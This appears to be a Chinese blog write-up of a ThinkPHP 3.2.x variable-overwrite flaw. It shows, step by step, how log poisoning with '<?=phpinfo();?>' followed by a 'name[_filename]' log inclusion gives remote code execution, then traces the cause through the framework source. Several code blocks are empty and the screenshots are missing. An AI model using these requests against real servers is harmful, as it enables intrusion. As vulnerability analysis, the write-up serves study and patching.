【TP3.2.x】ThinkPHP 3.2.x 因变量覆盖导致RCE
利用方式
debug模式关闭
新建一个Home
模块,在Home
模块下新建控制器HelloController.class.php
,内容如下:
1 |
|
在Home
模块内新建视图index.html
(这个index
与上方方法中index
对应)
路径为:Application/Home/view/Hello/index.html
内容如下:(其实内容可有可无,这里我就将其加上)
1 | <!DOCTYPE html> |
此时访问index.php?m=Home&c=Hello&a=index
得到的内容为:
1 | Hello |
接下来进行攻击,此时访问index.php?m=--><?=phpinfo();?>
,注意,需要使用bp抓包,否则<
,>
会被编码
可以看到系统发生错误
此时日志Application/Runtime/Logs/Common/22_02_23.log
内容如下:
1 | [ 2022-02-23T18:03:48+08:00 ] 127.0.0.1 /index.php?m=--><?=phpinfo();?> |
此时访问?m=Home&c=Hello&a=index&name[_filename]=./Application/Runtime/Logs/Common/22_02_23.log
可以发现RCE成功
debug模式开启
在index.php
中将debug模式开启
首先访问?m=Home&c=Hello&a=index&name=--><?=phpinfo();?>
记录日志
此时日志内容如下:
1 | [ 2022-02-23T18:06:53+08:00 ] 127.0.0.1 /index.php?m=Home&c=Hello&a=index&name=--><?=phpinfo();?> |
然后再访问index.php?m=Home&c=Hello&a=index&name[_filename]=./Application/Runtime/Logs/Home/22_02_23.log
同样RCE成功
底层代码跟进
Hello
控制器如下:
跟进$this->assign($name)
,该方法位于ThinkPHP/Mode/Lite/Controller.class.php
跟进$this->view->assign($name, $value)
,该方法位于ThinkPHP/Library/Think/View.class.php
这个地方会将我们传入的$name
变量放到$this->tVar
中,这里使用到了array_merge
函数,这意味着我们传入的$name
可以为数组形式
其中$this->tVar
的变量介绍如下
1 | /** |
至此,模板就生成了,接下来进入display
方法,display
方法将会解析该模板
跟进display
方法,该方法位于ThinkPHP/Mode/Lite/Controller.class.php
这里没有多余的代码,接着跟进display
方法,该方法位于ThinkPHP/Library/Think/View.class.php
其中fetch
方法也在这一个文件中,大约在110行的位置,跟进分析:
跟进listen
静态方法,代码位于ThinkPHP/Library/Think/Hook.class.php
跟进exec
方法,代码位于同一个文件中
跟进run
方法,代码位于ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php
跟进fetch
方法,代码位于ThinkPHP/Library/Think/Template.class.php
$_filename
为前面的缓存文件路径,如果不为空就将$_filename
覆盖
最终导致文件包含